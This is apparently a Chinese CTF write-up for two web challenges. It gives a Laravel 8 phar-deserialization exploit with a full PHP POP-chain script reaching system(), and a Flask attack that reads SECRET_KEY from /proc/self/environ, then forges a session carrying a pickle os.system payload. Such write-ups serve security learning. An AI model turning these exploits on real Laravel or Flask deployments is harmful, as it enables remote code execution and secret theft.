tinypng

题目提供了源代码,通过php artisan 命令,可以看到是Laravel 8.15框架 首先查看路由信息

先查看一下fileupload路由,可以发现文件上传时对内容进行了过滤,且只允许上传png

接着我们看image路由,进入ImageController$source可控接着判断是否为png结尾,如果为png结尾则传给imgcompress类。 进入imgcompress类,$this->src为我们传入的$source 接着又传递给compressImg类,调用了openImg方法

$source传递给了getimagesizegetimagesize可以触发phar反序列化

现在只需要绕过文件上传内容检测即可,我们可以通过gzip的方式绕过。 从网上找一个Laravel 8的公开的反序列化POP链漏洞即可,如下给出我使用的exp。

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }

    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}


namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    #print(urlencode(serialize($a)));
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
 

通过如上exp生成phar文件,使用gzip打包修改为png后缀

上传文件

访问/image?image=phar://../storage/app/uploads/xx.png,成功代码执行

Easyflask

根据页面提示访问/file?file=/app/source可以获取到源代码

把代码复制到本地编辑器,便于分析。可以看到file路由为文件读取,对后缀存在一定限制,但是也可以读取到部分文件。

在代码头部发现SECRET_KEY存放在环境变量中

我们可以通过读取/proc/self/environ文件,获得SECRET_KEY

接着看admin路由存在pickle.loads,u参数可控那么就存在python反序列化漏洞(参考https://daolgts.github.io/2019/09/20/python%20pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/) 编写并运行EXP脚本,获得一串BASE64

import pickle
import os

class User(object):
    def __reduce__(self):
        a = "`cat /flag >/tmp/1.txt `"
        return (os.system,(a,))

u = pickle.dumps(User())
print(u)
bu = base64.b64encode(u)
print(bu)

接着通过获取到的KEY,使用脚本伪造FLASK的Session(https://github.com/noraj/flask-session-cookie-manager) -s参数为SECRET_KEY,-t 参数为反序列化的内容

通过生成出的Session访问/admin路径,返回500为成功

接着进行文件读取获得flag